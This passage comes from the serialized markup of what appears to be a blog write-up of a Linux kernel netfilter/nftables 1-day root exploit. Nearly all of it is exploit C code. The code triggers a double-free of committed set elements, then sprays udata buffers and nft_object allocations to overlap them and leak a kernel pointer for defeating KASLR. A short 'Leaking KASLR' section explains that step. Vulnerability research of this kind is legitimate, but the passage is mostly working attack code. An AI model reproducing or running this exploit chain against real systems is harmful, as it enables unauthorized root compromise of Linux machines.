",{"type":23,"tag":230,"props":56206,"children":56207},{"style":380},[56208],{"type":29,"value":56209},"\"pwn_set\"",{"type":23,"tag":230,"props":56211,"children":56212},{"style":274},[56213],{"type":29,"value":684},{"type":23,"tag":230,"props":56215,"children":56216},{"style":5149},[56217],{"type":29,"value":45270},{"type":23,"tag":230,"props":56219,"children":56220},{"style":274},[56221],{"type":29,"value":388},{"type":23,"tag":230,"props":56223,"children":56224},{"class":232,"line":471},[56225,56230,56234,56239,56243,56248,56252,56256,56260,56265,56270,56274,56278],{"type":23,"tag":230,"props":56226,"children":56227},{"style":274},[56228],{"type":29,"value":56229},"        NFT_SET_INTERVAL ",{"type":23,"tag":230,"props":56231,"children":56232},{"style":268},[56233],{"type":29,"value":12746},{"type":23,"tag":230,"props":56235,"children":56236},{"style":274},[56237],{"type":29,"value":56238}," NFT_SET_OBJECT ",{"type":23,"tag":230,"props":56240,"children":56241},{"style":268},[56242],{"type":29,"value":12746},{"type":23,"tag":230,"props":56244,"children":56245},{"style":274},[56246],{"type":29,"value":56247}," NFT_SET_CONCAT, KEY_LEN, ",{"type":23,"tag":230,"props":56249,"children":56250},{"style":5149},[56251],{"type":29,"value":5462},{"type":23,"tag":230,"props":56253,"children":56254},{"style":274},[56255],{"type":29,"value":684},{"type":23,"tag":230,"props":56257,"children":56258},{"style":268},[56259],{"type":29,"value":5448},{"type":23,"tag":230,"props":56261,"children":56262},{"style":274},[56263],{"type":29,"value":56264},"desc, ",{"type":23,"tag":230,"props":56266,"children":56267},{"style":256},[56268],{"type":29,"value":56269},"NULL",{"type":23,"tag":230,"props":56271,"children":56272},{"style":274},[56273],{"type":29,"value":684},{"type":23,"tag":230,"props":56275,"children":56276},{"style":5149},[56277],{"type":29,"value":6358},{"type":23,"tag":230,"props":56279,"children":56280},{"style":274},[56281],{"type":29,"value":56282},", NFT_OBJECT_CT_EXPECT);\n",{"type":23,"tag":230,"props":56284,"children":56285},{"class":232,"line":500},[56286],{"type":23,"tag":230,"props":56287,"children":56288},{"emptyLinePlaceholder":18},[56289],{"type":29,"value":459},{"type":23,"tag":230,"props":56291,"children":56292},{"class":232,"line":514},[56293],{"type":23,"tag":230,"props":56294,"children":56295},{"style":237},[56296],{"type":29,"value":56297},"    // commit 2 elems to set (elems A and B that will be double-freed)\n",{"type":23,"tag":230,"props":56299,"children":56300},{"class":232,"line":897},[56301,56305,56309,56313,56318,56322,56326,56330,56334,56338,56342,56346],{"type":23,"tag":230,"props":56302,"children":56303},{"style":866},[56304],{"type":29,"value":5371},{"type":23,"tag":230,"props":56306,"children":56307},{"style":274},[56308],{"type":29,"value":664},{"type":23,"tag":230,"props":56310,"children":56311},{"style":256},[56312],{"type":29,"value":21364},{"type":23,"tag":230,"props":56314,"children":56315},{"style":274},[56316],{"type":29,"value":56317}," i ",{"type":23,"tag":230,"props":56319,"children":56320},{"style":268},[56321],{"type":29,"value":863},{"type":23,"tag":230,"props":56323,"children":56324},{"style":5149},[56325],{"type":29,"value":5386},{"type":23,"tag":230,"props":56327,"children":56328},{"style":274},[56329],{"type":29,"value":53006},{"type":23,"tag":230,"props":56331,"children":56332},{"style":268},[56333],{"type":29,"value":8143},{"type":23,"tag":230,"props":56335,"children":56336},{"style":5149},[56337],{"type":29,"value":10269},{"type":23,"tag":230,"props":56339,"children":56340},{"style":274},[56341],{"type":29,"value":53037},{"type":23,"tag":230,"props":56343,"children":56344},{"style":268},[56345],{"type":29,"value":53042},{"type":23,"tag":230,"props":56347,"children":56348},{"style":274},[56349],{"type":29,"value":4516},{"type":23,"tag":230,"props":56351,"children":56352},{"class":232,"line":960},[56353],{"type":23,"tag":230,"props":56354,"children":56355},{"style":274},[56356],{"type":29,"value":31494},{"type":23,"tag":230,"props":56358,"children":56359},{"class":232,"line":969},[56360,56365,56370,56374,56379],{"type":23,"tag":230,"props":56361,"children":56362},{"style":262},[56363],{"type":29,"value":56364},"        elem",{"type":23,"tag":230,"props":56366,"children":56367},{"style":274},[56368],{"type":29,"value":56369},"[i] ",{"type":23,"tag":230,"props":56371,"children":56372},{"style":268},[56373],{"type":29,"value":863},{"type":23,"tag":230,"props":56375,"children":56376},{"style":294},[56377],{"type":29,"value":56378}," nftnl_set_elem_alloc",{"type":23,"tag":230,"props":56380,"children":56381},{"style":274},[56382],{"type":29,"value":2140},{"type":23,"tag":230,"props":56384,"children":56385},{"class":232,"line":4526},[56386,56391,56396,56401,56405],{"type":23,"tag":230,"props":56387,"children":56388},{"style":294},[56389],{"type":29,"value":56390},"        memset",{"type":23,"tag":230,"props":56392,"children":56393},{"style":274},[56394],{"type":29,"value":56395},"(key, ",{"type":23,"tag":230,"props":56397,"children":56398},{"style":5149},[56399],{"type":29,"value":56400},"0x41",{"type":23,"tag":230,"props":56402,"children":56403},{"style":268},[56404],{"type":29,"value":11238},{"type":23,"tag":230,"props":56406,"children":56407},{"style":274},[56408],{"type":29,"value":56409}," i, KEY_LEN);\n",{"type":23,"tag":230,"props":56411,"children":56412},{"class":232,"line":4534},[56413,56418,56422,56426,56431,56436,56440,56445],{"type":23,"tag":230,"props":56414,"children":56415},{"style":294},[56416],{"type":29,"value":56417},"        nftnl_set_elem_set",{"type":23,"tag":230,"props":56419,"children":56420},{"style":274},[56421],{"type":29,"value":302},{"type":23,"tag":230,"props":56423,"children":56424},{"style":262},[56425],{"type":29,"value":53837},{"type":23,"tag":230,"props":56427,"children":56428},{"style":274},[56429],{"type":29,"value":56430},"[i], NFTNL_SET_ELEM_OBJREF, ",{"type":23,"tag":230,"props":56432,"children":56433},{"style":380},[56434],{"type":29,"value":56435},"\"pwnobj\"",{"type":23,"tag":230,"props":56437,"children":56438},{"style":274},[56439],{"type":29,"value":684},{"type":23,"tag":230,"props":56441,"children":56442},{"style":5149},[56443],{"type":29,"value":56444},"7",{"type":23,"tag":230,"props":56446,"children":56447},{"style":274},[56448],{"type":29,"value":753},{"type":23,"tag":230,"props":56450,"children":56451},{"class":232,"line":4542},[56452,56456,56460,56464,56469,56473],{"type":23,"tag":230,"props":56453,"children":56454},{"style":294},[56455],{"type":29,"value":56417},{"type":23,"tag":230,"props":56457,"children":56458},{"style":274},[56459],{"type":29,"value":302},{"type":23,"tag":230,"props":56461,"children":56462},{"style":262},[56463],{"type":29,"value":53837},{"type":23,"tag":230,"props":56465,"children":56466},{"style":274},[56467],{"type":29,"value":56468},"[i], NFTNL_SET_ELEM_KEY, ",{"type":23,"tag":230,"props":56470,"children":56471},{"style":268},[56472],{"type":29,"value":5448},{"type":23,"tag":230,"props":56474,"children":56475},{"style":274},[56476],{"type":29,"value":56477},"key, KEY_LEN);\n",{"type":23,"tag":230,"props":56479,"children":56480},{"class":232,"line":4559},[56481,56485,56489,56493,56498,56502],{"type":23,"tag":230,"props":56482,"children":56483},{"style":294},[56484],{"type":29,"value":56417},{"type":23,"tag":230,"props":56486,"children":56487},{"style":274},[56488],{"type":29,"value":302},{"type":23,"tag":230,"props":56490,"children":56491},{"style":262},[56492],{"type":29,"value":53837},{"type":23,"tag":230,"props":56494,"children":56495},{"style":274},[56496],{"type":29,"value":56497},"[i], NFTNL_SET_ELEM_USERDATA, ",{"type":23,"tag":230,"props":56499,"children":56500},{"style":268},[56501],{"type":29,"value":5448},{"type":23,"tag":230,"props":56503,"children":56504},{"style":274},[56505],{"type":29,"value":56506},"udata_buf, size);\n",{"type":23,"tag":230,"props":56508,"children":56509},{"class":232,"line":4587},[56510,56515,56520,56524],{"type":23,"tag":230,"props":56511,"children":56512},{"style":294},[56513],{"type":29,"value":56514},"        nftnl_set_elem_add",{"type":23,"tag":230,"props":56516,"children":56517},{"style":274},[56518],{"type":29,"value":56519},"(set, ",{"type":23,"tag":230,"props":56521,"children":56522},{"style":262},[56523],{"type":29,"value":53837},{"type":23,"tag":230,"props":56525,"children":56526},{"style":274},[56527],{"type":29,"value":56528},"[i]);\n",{"type":23,"tag":230,"props":56530,"children":56531},{"class":232,"line":4595},[56532],{"type":23,"tag":230,"props":56533,"children":56534},{"style":274},[56535],{"type":29,"value":1552},{"type":23,"tag":230,"props":56537,"children":56538},{"class":232,"line":4619},[56539],{"type":23,"tag":230,"props":56540,"children":56541},{"style":274},[56542],{"type":29,"value":12649},{"type":23,"tag":230,"props":56544,"children":56545},{"class":232,"line":4627},[56546],{"type":23,"tag":230,"props":56547,"children":56548},{"emptyLinePlaceholder":18},[56549],{"type":29,"value":459},{"type":23,"tag":230,"props":56551,"children":56552},{"class":232,"line":4659},[56553],{"type":23,"tag":230,"props":56554,"children":56555},{"style":274},[56556],{"type":29,"value":56557},"    // TRANSACTION 3\n",{"type":23,"tag":230,"props":56559,"children":56560},{"class":232,"line":4671},[56561],{"type":23,"tag":230,"props":56562,"children":56563},{"style":274},[56564],{"type":29,"value":12649},{"type":23,"tag":230,"props":56566,"children":56567},{"class":232,"line":4688},[56568],{"type":23,"tag":230,"props":56569,"children":56570},{"style":274},[56571],{"type":29,"value":56572},"    set = nftnl_set_alloc();\n",{"type":23,"tag":230,"props":56574,"children":56575},{"class":232,"line":4701},[56576,56581],{"type":23,"tag":230,"props":56577,"children":56578},{"style":294},[56579],{"type":29,"value":56580},"    nftnl_set_set_u32",{"type":23,"tag":230,"props":56582,"children":56583},{"style":274},[56584],{"type":29,"value":56585},"(set, NFTNL_SET_FAMILY, family);\n",{"type":23,"tag":230,"props":56587,"children":56588},{"class":232,"line":4724},[56589,56594],{"type":23,"tag":230,"props":56590,"children":56591},{"style":294},[56592],{"type":29,"value":56593},"    nftnl_set_set_str",{"type":23,"tag":230,"props":56595,"children":56596},{"style":274},[56597],{"type":29,"value":56598},"(set, NFTNL_SET_TABLE, exploit_table_name);\n",{"type":23,"tag":230,"props":56600,"children":56601},{"class":232,"line":4741},[56602,56606,56611,56615],{"type":23,"tag":230,"props":56603,"children":56604},{"style":294},[56605],{"type":29,"value":56593},{"type":23,"tag":230,"props":56607,"children":56608},{"style":274},[56609],{"type":29,"value":56610},"(set, NFTNL_SET_NAME, ",{"type":23,"tag":230,"props":56612,"children":56613},{"style":380},[56614],{"type":29,"value":56209},{"type":23,"tag":230,"props":56616,"children":56617},{"style":274},[56618],{"type":29,"value":753},{"type":23,"tag":230,"props":56620,"children":56621},{"class":232,"line":4759},[56622],{"type":23,"tag":230,"props":56623,"children":56624},{"emptyLinePlaceholder":18},[56625],{"type":29,"value":459},{"type":23,"tag":230,"props":56627,"children":56628},{"class":232,"line":4768},[56629],{"type":23,"tag":230,"props":56630,"children":56631},{"style":237},[56632],{"type":29,"value":56633},"    // make priv->dirty true\n",{"type":23,"tag":230,"props":56635,"children":56636},{"class":232,"line":4776},[56637,56642,56646,56651],{"type":23,"tag":230,"props":56638,"children":56639},{"style":294},[56640],{"type":29,"value":56641},"    memset",{"type":23,"tag":230,"props":56643,"children":56644},{"style":274},[56645],{"type":29,"value":56395},{"type":23,"tag":230,"props":56647,"children":56648},{"style":5149},[56649],{"type":29,"value":56650},"0xff",{"type":23,"tag":230,"props":56652,"children":56653},{"style":274},[56654],{"type":29,"value":56655},", KEY_LEN);\n",{"type":23,"tag":230,"props":56657,"children":56658},{"class":232,"line":4784},[56659,56664,56668,56672,56676,56680,56684],{"type":23,"tag":230,"props":56660,"children":56661},{"style":262},[56662],{"type":29,"value":56663},"    elem",{"type":23,"tag":230,"props":56665,"children":56666},{"style":274},[56667],{"type":29,"value":6069},{"type":23,"tag":230,"props":56669,"children":56670},{"style":5149},[56671],{"type":29,"value":19616},{"type":23,"tag":230,"props":56673,"children":56674},{"style":274},[56675],{"type":29,"value":10997},{"type":23,"tag":230,"props":56677,"children":56678},{"style":268},[56679],{"type":29,"value":863},{"type":23,"tag":230,"props":56681,"children":56682},{"style":294},[56683],{"type":29,"value":56378},{"type":23,"tag":230,"props":56685,"children":56686},{"style":274},[56687],{"type":29,"value":2140},{"type":23,"tag":230,"props":56689,"children":56690},{"class":232,"line":4792},[56691,56696,56700,56704,56708,56712,56717,56721,56725,56729],{"type":23,"tag":230,"props":56692,"children":56693},{"style":294},[56694],{"type":29,"value":56695},"    nftnl_set_elem_set",{"type":23,"tag":230,"props":56697,"children":56698},{"style":274},[56699],{"type":29,"value":302},{"type":23,"tag":230,"props":56701,"children":56702},{"style":262},[56703],{"type":29,"value":53837},{"type":23,"tag":230,"props":56705,"children":56706},{"style":274},[56707],{"type":29,"value":6069},{"type":23,"tag":230,"props":56709,"children":56710},{"style":5149},[56711],{"type":29,"value":19616},{"type":23,"tag":230,"props":56713,"children":56714},{"style":274},[56715],{"type":29,"value":56716},"], NFTNL_SET_ELEM_OBJREF, ",{"type":23,"tag":230,"props":56718,"children":56719},{"style":380},[56720],{"type":29,"value":56435},{"type":23,"tag":230,"props":56722,"children":56723},{"style":274},[56724],{"type":29,"value":684},{"type":23,"tag":230,"props":56726,"children":56727},{"style":5149},[56728],{"type":29,"value":56444},{"type":23,"tag":230,"props":56730,"children":56731},{"style":274},[56732],{"type":29,"value":753},{"type":23,"tag":230,"props":56734,"children":56735},{"class":232,"line":4824},[56736,56740,56744,56748,56752,56756,56761,56765],{"type":23,"tag":230,"props":56737,"children":56738},{"style":294},[56739],{"type":29,"value":56695},{"type":23,"tag":230,"props":56741,"children":56742},{"style":274},[56743],{"type":29,"value":302},{"type":23,"tag":230,"props":56745,"children":56746},{"style":262},[56747],{"type":29,"value":53837},{"type":23,"tag":230,"props":56749,"children":56750},{"style":274},[56751],{"type":29,"value":6069},{"type":23,"tag":230,"props":56753,"children":56754},{"style":5149},[56755],{"type":29,"value":19616},{"type":23,"tag":230,"props":56757,"children":56758},{"style":274},[56759],{"type":29,"value":56760},"], NFTNL_SET_ELEM_KEY, ",{"type":23,"tag":230,"props":56762,"children":56763},{"style":268},[56764],{"type":29,"value":5448},{"type":23,"tag":230,"props":56766,"children":56767},{"style":274},[56768],{"type":29,"value":56477},{"type":23,"tag":230,"props":56770,"children":56771},{"class":232,"line":4832},[56772,56777,56781,56785,56789,56793],{"type":23,"tag":230,"props":56773,"children":56774},{"style":294},[56775],{"type":29,"value":56776},"    nftnl_set_elem_add",{"type":23,"tag":230,"props":56778,"children":56779},{"style":274},[56780],{"type":29,"value":56519},{"type":23,"tag":230,"props":56782,"children":56783},{"style":262},[56784],{"type":29,"value":53837},{"type":23,"tag":230,"props":56786,"children":56787},{"style":274},[56788],{"type":29,"value":6069},{"type":23,"tag":230,"props":56790,"children":56791},{"style":5149},[56792],{"type":29,"value":19616},{"type":23,"tag":230,"props":56794,"children":56795},{"style":274},[56796],{"type":29,"value":6088},{"type":23,"tag":230,"props":56798,"children":56799},{"class":232,"line":4840},[56800],{"type":23,"tag":230,"props":56801,"children":56802},{"style":274},[56803],{"type":29,"value":12649},{"type":23,"tag":230,"props":56805,"children":56806},{"class":232,"line":4901},[56807],{"type":23,"tag":230,"props":56808,"children":56809},{"emptyLinePlaceholder":18},[56810],{"type":29,"value":459},{"type":23,"tag":230,"props":56812,"children":56813},{"class":232,"line":4909},[56814],{"type":23,"tag":230,"props":56815,"children":56816},{"style":274},[56817],{"type":29,"value":56818},"    // double-free commited elems\n",{"type":23,"tag":230,"props":56820,"children":56821},{"class":232,"line":4938},[56822],{"type":23,"tag":230,"props":56823,"children":56824},{"style":274},[56825],{"type":29,"value":12649},{"type":23,"tag":230,"props":56827,"children":56828},{"class":232,"line":4957},[56829,56834,56838],{"type":23,"tag":230,"props":56830,"children":56831},{"style":274},[56832],{"type":29,"value":56833},"    nftnl_set_free(",{"type":23,"tag":230,"props":56835,"children":56836},{"style":676},[56837],{"type":29,"value":52792},{"type":23,"tag":230,"props":56839,"children":56840},{"style":274},[56841],{"type":29,"value":753},{"type":23,"tag":230,"props":56843,"children":56844},{"class":232,"line":4973},[56845],{"type":23,"tag":230,"props":56846,"children":56847},{"style":274},[56848],{"type":29,"value":975},{"type":23,"tag":230,"props":56850,"children":56851},{"class":232,"line":4990},[56852],{"type":23,"tag":230,"props":56853,"children":56854},{"style":274},[56855],{"type":29,"value":12649},{"type":23,"tag":59,"props":56857,"children":56859},{"id":56858},"leaking-kaslr",[56860],{"type":29,"value":56861},"Leaking KASLR",{"type":23,"tag":32,"props":56863,"children":56864},{},[56865,56867,56873,56875,56880,56882,56888,56890,56896,56898],{"type":29,"value":56866},"Tables contain an outline user data buffer ",{"type":23,"tag":71,"props":56868,"children":56870},{"className":56869},[],[56871],{"type":29,"value":56872},"udata",{"type":29,"value":56874}," that we can both read and write. By allocating a ",{"type":23,"tag":71,"props":56876,"children":56878},{"className":56877},[],[56879],{"type":29,"value":56872},{"type":29,"value":56881}," buffer on the double-free slot and then overlapping it with an ",{"type":23,"tag":71,"props":56883,"children":56885},{"className":56884},[],[56886],{"type":29,"value":56887},"nft_object",{"type":29,"value":56889}," we can leak the ",{"type":23,"tag":71,"props":56891,"children":56893},{"className":56892},[],[56894],{"type":29,"value":56895},"->ops",{"type":29,"value":56897}," pointer, and use it to calculate the KASLR slide.\n",{"type":23,"tag":93,"props":56899,"children":56901},{"alt":52351,"src":56900},"/posts/netfilter-universal-root-1-day/kaslr.png",[],{"type":23,"tag":220,"props":56903,"children":56905},{"className":31417,"code":56904,"language":31419,"meta":7,"style":7},"[...]\n    // spray 3 udata buffers to consume elems A, B and A again\n    udata_spray(nl, 0xe8, 0, 3, NULL);\n\n    // check if overlap happened (i.e if we have to overlapping udata buffers)\n    char spray_name[16];\n    char *udata[3];\n    for (int i = 0; i \u003C 3; i++)\n    {\n        snprintf(spray_name, sizeof(spray_name), \"spray-%i\", i);\n        udata[i] = getudata(nl, spray_name);\n    }\n    if (udata[0][0] == udata[2][0])\n    {\n        puts(\"[+] got duplicated table\");\n    }\n\n    // Replace one of the udata buffers with nft_object\n    // and read it's counterpart to leak the nft_object struct\n    puts(\"[*] Info leak\");\n    deludata_spray(nl, 0, 1);\n    wait_destroyer();\n    obj_spray(nl, 0, 1, NULL, 0);\n    uint64_t *fake_obj = (uint64_t *)getudata(nl, \"spray-2\");\n[...]\n",[56906],{"type":23,"tag":71,"props":56907,"children":56908},{"__ignoreMap":7},[56909,56916,56924,56959,56966,56974,56999,57026,57077,57084,57117,57143,57150,57215,57222,57243,57250,57257,57265,57273,57294,57323,57335,57379,57435],{"type":23,"tag":230,"props":56910,"children":56911},{"class":232,"line":233},[56912],{"type":23,"tag":230,"props":56913,"children":56914},{"style":274},[56915],{"type":29,"value":12649},{"type":23,"tag":230,"props":56917,"children":56918},{"class":232,"line":243},[56919],{"type":23,"tag":230,"props":56920,"children":56921},{"style":274},[56922],{"type":29,"value":56923},"    // spray 3 udata buffers to consume elems A, B and A again\n",{"type":23,"tag":230,"props":56925,"children":56926},{"class":232,"line":252},[56927,56932,56936,56941,56946,56951,56955],{"type":23,"tag":230,"props":56928,"children":56929},{"style":274},[56930],{"type":29,"value":56931},"    udata_spray(",{"type":23,"tag":230,"props":56933,"children":56934},{"style":676},[56935],{"type":29,"value":56063},{"type":23,"tag":230,"props":56937,"children":56938},{"style":274},[56939],{"type":29,"value":56940},", 0",{"type":23,"tag":230,"props":56942,"children":56943},{"style":676},[56944],{"type":29,"value":56945},"xe8",{"type":23,"tag":230,"props":56947,"children":56948},{"style":274},[56949],{"type":29,"value":56950},", 0, 3, ",{"type":23,"tag":230,"props":56952,"children":56953},{"style":676},[56954],{"type":29,"value":56269},{"type":23,"tag":230,"props":56956,"children":56957},{"style":274},[56958],{"type":29,"value":753},{"type":23,"tag":230,"props":56960,"children":56961},{"class":232,"line":280},[56962],{"type":23,"tag":230,"props":56963,"children":56964},{"emptyLinePlaceholder":18},[56965],{"type":29,"value":459},{"type":23,"tag":230,"props":56967,"children":56968},{"class":232,"line":334},[56969],{"type":23,"tag":230,"props":56970,"children":56971},{"style":237},[56972],{"type":29,"value":56973},"    // check if overlap happened (i.e if we have to overlapping udata buffers)\n",{"type":23,"tag":230,"props":56975,"children":56976},{"class":232,"line":371},[56977,56982,56987,56991,56995],{"type":23,"tag":230,"props":56978,"children":56979},{"style":256},[56980],{"type":29,"value":56981},"    char",{"type":23,"tag":230,"props":56983,"children":56984},{"style":262},[56985],{"type":29,"value":56986}," spray_name",{"type":23,"tag":230,"props":56988,"children":56989},{"style":274},[56990],{"type":29,"value":6069},{"type":23,"tag":230,"props":56992,"children":56993},{"style":5149},[56994],{"type":29,"value":42613},{"type":23,"tag":230,"props":56996,"children":56997},{"style":274},[56998],{"type":29,"value":33871},{"type":23,"tag":230,"props":57000,"children":57001},{"class":232,"line":391},[57002,57006,57010,57014,57018,57022],{"type":23,"tag":230,"props":57003,"children":57004},{"style":256},[57005],{"type":29,"value":56981},{"type":23,"tag":230,"props":57007,"children":57008},{"style":268},[57009],{"type":29,"value":12147},{"type":23,"tag":230,"props":57011,"children":57012},{"style":262},[57013],{"type":29,"value":56872},{"type":23,"tag":230,"props":57015,"children":57016},{"style":274},[57017],{"type":29,"value":6069},{"type":23,"tag":230,"props":57019,"children":57020},{"style":5149},[57021],{"type":29,"value":19616},{"type":23,"tag":230,"props":57023,"children":57024},{"style":274},[57025],{"type":29,"value":33871},{"type":23,"tag":230,"props":57027,"children":57028},{"class":232,"line":400},[57029,57033,57037,57041,57045,57049,57053,57057,57061,57065,57069,57073],{"type":23,"tag":230,"props":57030,"children":57031},{"style":866},[57032],{"type":29,"value":5371},{"type":23,"tag":230,"props":57034,"children":57035},{"style":274},[57036],{"type":29,"value":664},{"type":23,"tag":230,"props":57038,"children":57039},{"style":256},[57040],{"type":29,"value":21364},{"type":23,"tag":230,"props":57042,"children":57043},{"style":274},[57044],{"type":29,"value":56317},{"type":23,"tag":230,"props":57046,"children":57047},{"style":268},[57048],{"type":29,"value":863},{"type":23,"tag":230,"props":57050,"children":57051},{"style":5149},[57052],{"type":29,"value":5386},{"type":23,"tag":230,"props":57054,"children":57055},{"style":274},[57056],{"type":29,"value":53006},{"type":23,"tag":230,"props":57058,"children":57059},{"style":268},[57060],{"type":29,"value":8143},{"type":23,"tag":230,"props":57062,"children":57063},{"style":5149},[57064],{"type":29,"value":21415},{"type":23,"tag":230,"props":57066,"children":57067},{"style":274},[57068],{"type":29,"value":53037},{"type":23,"tag":230,"props":57070,"children":57071},{"style":268},[57072],{"type":29,"value":53042},{"type":23,"tag":230,"props":57074,"children":57075},{"style":274},[57076],{"type":29,"value":4516},{"type":23,"tag":230,"props":57078,"children":57079},{"class":232,"line":444},[57080],{"type":23,"tag":230,"props":57081,"children":57082},{"style":274},[57083],{"type":29,"value":31494},{"type":23,"tag":230,"props":57085,"children":57086},{"class":232,"line":453},[57087,57092,57097,57102,57107,57112],{"type":23,"tag":230,"props":57088,"children":57089},{"style":294},[57090],{"type":29,"value":57091},"        snprintf",{"type":23,"tag":230,"props":57093,"children":57094},{"style":274},[57095],{"type":29,"value":57096},"(spray_name, ",{"type":23,"tag":230,"props":57098,"children":57099},{"style":256},[57100],{"type":29,"value":57101},"sizeof",{"type":23,"tag":230,"props":57103,"children":57104},{"style":274},[57105],{"type":29,"value":57106},"(spray_name), ",{"type":23,"tag":230,"props":57108,"children":57109},{"style":380},[57110],{"type":29,"value":57111},"\"spray-%i\"",{"type":23,"tag":230,"props":57113,"children":57114},{"style":274},[57115],{"type":29,"value":57116},", i);\n",{"type":23,"tag":230,"props":57118,"children":57119},{"class":232,"line":462},[57120,57125,57129,57133,57138],{"type":23,"tag":230,"props":57121,"children":57122},{"style":262},[57123],{"type":29,"value":57124},"        udata",{"type":23,"tag":230,"props":57126,"children":57127},{"style":274},[57128],{"type":29,"value":56369},{"type":23,"tag":230,"props":57130,"children":57131},{"style":268},[57132],{"type":29,"value":863},{"type":23,"tag":230,"props":57134,"children":57135},{"style":294},[57136],{"type":29,"value":57137}," getudata",{"type":23,"tag":230,"props":57139,"children":57140},{"style":274},[57141],{"type":29,"value":57142},"(nl, spray_name);\n",{"type":23,"tag":230,"props":57144,"children":57145},{"class":232,"line":471},[57146],{"type":23,"tag":230,"props":57147,"children":57148},{"style":274},[57149],{"type":29,"value":1552},{"type":23,"tag":230,"props":57151,"children":57152},{"class":232,"line":500},[57153,57157,57161,57165,57169,57173,57177,57181,57185,57189,57194,57198,57202,57206,57210],{"type":23,"tag":230,"props":57154,"children":57155},{"style":866},[57156],{"type":29,"value":1493},{"type":23,"tag":230,"props":57158,"children":57159},{"style":274},[57160],{"type":29,"value":664},{"type":23,"tag":230,"props":57162,"children":57163},{"style":262},[57164],{"type":29,"value":56872},{"type":23,"tag":230,"props":57166,"children":57167},{"style":274},[57168],{"type":29,"value":6069},{"type":23,"tag":230,"props":57170,"children":57171},{"style":5149},[57172],{"type":29,"value":6358},{"type":23,"tag":230,"props":57174,"children":57175},{"style":274},[57176],{"type":29,"value":50730},{"type":23,"tag":230,"props":57178,"children":57179},{"style":5149},[57180],{"type":29,"value":6358},{"type":23,"tag":230,"props":57182,"children":57183},{"style":274},[57184],{"type":29,"value":10997},{"type":23,"tag":230,"props":57186,"children":57187},{"style":268},[57188],{"type":29,"value":10911},{"type":23,"tag":230,"props":57190,"children":57191},{"style":262},[57192],{"type":29,"value":57193}," udata",{"type":23,"tag":230,"props":57195,"children":57196},{"style":274},[57197],{"type":29,"value":6069},{"type":23,"tag":230,"props":57199,"children":57200},{"style":5149},[57201],{"type":29,"value":5462},{"type":23,"tag":230,"props":57203,"children":57204},{"style":274},[57205],{"type":29,"value":50730},{"type":23,"tag":230,"props":57207,"children":57208},{"style":5149},[57209],{"type":29,"value":6358},{"type":23,"tag":230,"props":57211,"children":57212},{"style":274},[57213],{"type":29,"value":57214},"])\n",{"type":23,"tag":230,"props":57216,"children":57217},{"class":232,"line":514},[57218],{"type":23,"tag":230,"props":57219,"children":57220},{"style":274},[57221],{"type":29,"value":31494},{"type":23,"tag":230,"props":57223,"children":57224},{"class":232,"line":897},[57225,57230,57234,57239],{"type":23,"tag":230,"props":57226,"children":57227},{"style":294},[57228],{"type":29,"value":57229},"        puts",{"type":23,"tag":230,"props":57231,"children":57232},{"style":274},[57233],{"type":29,"value":302},{"type":23,"tag":230,"props":57235,"children":57236},{"style":380},[57237],{"type":29,"value":57238},"\"[+] got duplicated table\"",{"type":23,"tag":230,"props":57240,"children":57241},{"style":274},[57242],{"type":29,"value":753},{"type":23,"tag":230,"props":57244,"children":57245},{"class":232,"line":960},[57246],{"type":23,"tag":230,"props":57247,"children":57248},{"style":274},[57249],{"type":29,"value":1552},{"type":23,"tag":230,"props":57251,"children":57252},{"class":232,"line":969},[57253],{"type":23,"tag":230,"props":57254,"children":57255},{"emptyLinePlaceholder":18},[57256],{"type":29,"value":459},{"type":23,"tag":230,"props":57258,"children":57259},{"class":232,"line":4526},[57260],{"type":23,"tag":230,"props":57261,"children":57262},{"style":237},[57263],{"type":29,"value":57264},"    // Replace one of the udata buffers with nft_object\n",{"type":23,"tag":230,"props":57266,"children":57267},{"class":232,"line":4534},[57268],{"type":23,"tag":230,"props":57269,"children":57270},{"style":237},[57271],{"type":29,"value":57272},"    // and read it's counterpart to leak the nft_object struct\n",{"type":23,"tag":230,"props":57274,"children":57275},{"class":232,"line":4542},[57276,57281,57285,57290],{"type":23,"tag":230,"props":57277,"children":57278},{"style":294},[57279],{"type":29,"value":57280},"    puts",{"type":23,"tag":230,"props":57282,"children":57283},{"style":274},[57284],{"type":29,"value":302},{"type":23,"tag":230,"props":57286,"children":57287},{"style":380},[57288],{"type":29,"value":57289},"\"[*] Info leak\"",{"type":23,"tag":230,"props":57291,"children":57292},{"style":274},[57293],{"type":29,"value":753},{"type":23,"tag":230,"props":57295,"children":57296},{"class":232,"line":4559},[57297,57302,57307,57311,57315,57319],{"type":23,"tag":230,"props":57298,"children":57299},{"style":294},[57300],{"type":29,"value":57301},"    deludata_spray",{"type":23,"tag":230,"props":57303,"children":57304},{"style":274},[57305],{"type":29,"value":57306},"(nl, ",{"type":23,"tag":230,"props":57308,"children":57309},{"style":5149},[57310],{"type":29,"value":6358},{"type":23,"tag":230,"props":57312,"children":57313},{"style":274},[57314],{"type":29,"value":684},{"type":23,"tag":230,"props":57316,"children":57317},{"style":5149},[57318],{"type":29,"value":6348},{"type":23,"tag":230,"props":57320,"children":57321},{"style":274},[57322],{"type":29,"value":753},{"type":23,"tag":230,"props":57324,"children":57325},{"class":232,"line":4587},[57326,57331],{"type":23,"tag":230,"props":57327,"children":57328},{"style":294},[57329],{"type":29,"value":57330},"    wait_destroyer",{"type":23,"tag":230,"props":57332,"children":57333},{"style":274},[57334],{"type":29,"value":2140},{"type":23,"tag":230,"props":57336,"children":57337},{"class":232,"line":4595},[57338,57343,57347,57351,57355,57359,57363,57367,57371,57375],{"type":23,"tag":230,"props":57339,"children":57340},{"style":294},[57341],{"type":29,"value":57342},"    obj_spray",{"type":23,"tag":230,"props":57344,"children":57345},{"style":274},[57346],{"type":29,"value":57306},{"type":23,"tag":230,"props":57348,"children":57349},{"style":5149},[57350],{"type":29,"value":6358},{"type":23,"tag":230,"props":57352,"children":57353},{"style":274},[57354],{"type":29,"value":684},{"type":23,"tag":230,"props":57356,"children":57357},{"style":5149},[57358],{"type":29,"value":6348},{"type":23,"tag":230,"props":57360,"children":57361},{"style":274},[57362],{"type":29,"value":684},{"type":23,"tag":230,"props":57364,"children":57365},{"style":256},[57366],{"type":29,"value":56269},{"type":23,"tag":230,"props":57368,"children":57369},{"style":274},[57370],{"type":29,"value":684},{"type":23,"tag":230,"props":57372,"children":57373},{"style":5149},[57374],{"type":29,"value":6358},{"type":23,"tag":230,"props":57376,"children":57377},{"style":274},[57378],{"type":29,"value":753},{"type":23,"tag":230,"props":57380,"children":57381},{"class":232,"line":4619},[57382,57387,57391,57396,57400,57404,57409,57413,57417,57422,57426,57431],{"type":23,"tag":230,"props":57383,"children":57384},{"style":256},[57385],{"type":29,"value":5